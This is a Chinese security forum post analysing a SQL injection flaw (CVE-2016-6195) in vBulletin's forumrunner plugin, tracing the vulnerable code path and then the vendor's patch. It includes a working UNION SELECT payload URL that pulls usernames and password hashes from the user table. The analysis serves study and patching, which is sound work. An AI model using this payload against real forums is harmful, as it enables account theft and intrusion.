HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: juk小乖
查看: 223|回复: 0

more +随机图赏Gallery

2017年中旬WEB渗透系列课程-26Mysql下UDF提权2017年中旬WEB渗透系列课程-26Mysql下UDF提权
2017年中旬WEB渗透系列课程-25基于php参数开关的提权2017年中旬WEB渗透系列课程-25基于php参数开关的提权
2017年中旬WEB渗透系列课程-24提权分类2017年中旬WEB渗透系列课程-24提权分类
2017年中旬WEB渗透系列课程-23提权认识2017年中旬WEB渗透系列课程-23提权认识
2017年中旬WEB渗透系列课程-22CMS相关2017年中旬WEB渗透系列课程-22CMS相关
2017年中旬WEB渗透系列课程-21webshell免杀相关问题2017年中旬WEB渗透系列课程-21webshell免杀相关问题
2017年中旬WEB渗透系列课程-20关于指令执行2017年中旬WEB渗透系列课程-20关于指令执行
2017年中旬WEB渗透系列课程-19文件包含与目录遍历2017年中旬WEB渗透系列课程-19文件包含与目录遍历
2017年中旬WEB渗透系列课程-18上传绕过方法演示2017年中旬WEB渗透系列课程-18上传绕过方法演示
2017年中旬WEB渗透系列课程-17了解上传检测方式2017年中旬WEB渗透系列课程-17了解上传检测方式

VBulletin 核心插件 forumrunner SQL注入(CVE-2016-6195)漏洞分析

[复制链接]
juk小乖 发表于 7 天前 | 显示全部楼层 |阅读模式
查看: 223|回复: 0

马上注册,加入HACK80!与我们一起交流。

正式会员需要 登录 才可以下载或查看,没有帐号?立即注册

x
分析所用版本4.2.1
漏洞的本质是forumrunner/includes/moderation.php文件中, do_get_spam_data()函数()对参数postids和threadid过滤不严导致SQL注入漏洞, 核心代码如下:
  1. function do_get_spam_data (){  
  2.     global $vbulletin, $db, $vbphrase;


  3.     $vbulletin->input->clean_array_gpc('r', array(
  4.     'threadid' => TYPE_STRING,
  5.     'postids' => TYPE_STRING,
  6.     ));


  7.     ...


  8.     }else if ($vbulletin->GPC['postids'] != '') {
  9.         $postids = $vbulletin->GPC['postids'];


  10.         $posts = $db->query_read_slave("
  11.             SELECT post.postid, post.threadid, post.visible, post.title, post.userid,
  12.                 thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid
  13.             FROM " . TABLE_PREFIX . "post AS post
  14.             LEFT JOIN " . TABLE_PREFIX . "thread AS thread USING (threadid)
  15.             WHERE postid IN ($postids)
  16.         ");
复制代码
VBulletin程序中并不直接使用$_GET等全局变量获取输入数据,而是使用clean_gpc() 和 clean_array_gpc() 函数来过滤输入数据,而这两个函数并未对STRING类型做严格过滤,而传入的参数postids是作为SRING类型解析,参数postids随后拼接在SQL语句中进行查询,导致SQL注入漏洞。
寻找调用或包含do_get_spam_data()函数的代码,发现forumrunner/support/common_methods.php
  1. 'get_spam_data' => array(
  2.     'include' => 'moderation.php',
  3.     'function' => 'do_get_spam_data',
  4.     ),
复制代码
继续回溯,发现forumrunner/request.php文件包含support/common_methods.php.
  1. ...


  2. $processed = process_input(array('cmd' => STRING, 'frv' => STRING, 'frp' => STRING));
  3. if (!$processed['cmd']) {  
  4.     return;
  5. }


  6. ...


  7. require_once(MCWD . '/support/common_methods.php');


  8. ...


  9. if (!isset($methods[$processed['cmd']])) {  
  10.     json_error(ERR_NO_PERMISSION);
  11. }



  12. if ($methods[$processed['cmd']]['include']) {  
  13.     require_once(MCWD . '/include/' . $methods[$processed['cmd']]['include']);
  14. }



  15. if (isset($_REQUEST['d'])) {  
  16.     error_reporting(E_ALL);
  17. }

  18. $out = call_user_func($methods[$processed['cmd']]['function']);


  19. ...
复制代码
上面代码中process_input()函数(forumrunner/support/utils.php), 会从$_REQUEST中取值,进行简单的类型转换,STRING类型则原样返回,根据上面代码,可以通过$_REQUEST['cmd']参数调用get_spam_data()函数, 进而调用do_get_spam_data()函数。设置$_REQUEST['d']参数将打开错误报告,有助于SQL注入,当然也可以不设置$_REQUEST['d']参数,这对触发SQL注入漏洞没有影响。剩下的就是使用postids参数构造SQL payload
postids参数注入
  1. payload: forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select concat(username, 0x3a, password) from user),5,1,7,8,9,10--+
复制代码
设置断点及变量取值,注入结果如下:
1-5.png
从图中可以看出SQL注入语句执行成功,$post['title']变量已经获取了用户名和密码,其中forumid设置为1, 保证下面代码不会进入if条件判断语句中。
  1. while ($post = $db->fetch_array($posts))  
  2.     {
  3.         $forumperms = fetch_permissions($post['forumid']);
  4.         if  (
  5.             !($forumperms & $vbulletin->bf_ugp_forumpermissions['canview'])
  6.                 OR
  7.             !($forumperms & $vbulletin->bf_ugp_forumpermissions['canviewthreads'])
  8.                 OR
  9.             (!($forumperms & $vbulletin->bf_ugp_forumpermissions['canviewothers']) AND $post['postuserid'] != $vbulletin->userinfo['userid'])
  10.             )
  11.         {
  12.             json_error(ERR_NO_PERMISSION);
  13.         }
复制代码
补丁分析
includes/general_vb.php文件, fr_clean_ids函数对id类变量进行了整数转换,从而阻止SQL注入攻击。
  1. function fr_clean_ids($list = ”)  
  2. {
  3. $arr = explode(‘,’,$list);
  4. $cleanarr = array_map(‘intval’,$arr);
  5. return implode(‘,’,$cleanarr);  
  6. }
  7. forumrunner/include/moderation.php文件, do_get_spam_data函数过滤$postids和$threadid 参数


  8. $vbulletin->GPC[‘postids’] = fr_clean_ids($vbulletin->GPC[‘postids’]);


  9. ...



  10. if ($vbulletin->GPC[‘threadid’] != ”) {  
  11. $threadids = $vbulletin->GPC[‘threadid’];



  12. $threadids = fr_clean_ids($threadids);


  13. ...
复制代码

正式会员需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|手机版|小黑屋|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2017-10-19 15:11 , Processed in 0.071563 second(s), 30 queries .

Powered by Discuz! X3.2 © 2001-2013 Comsenz Inc.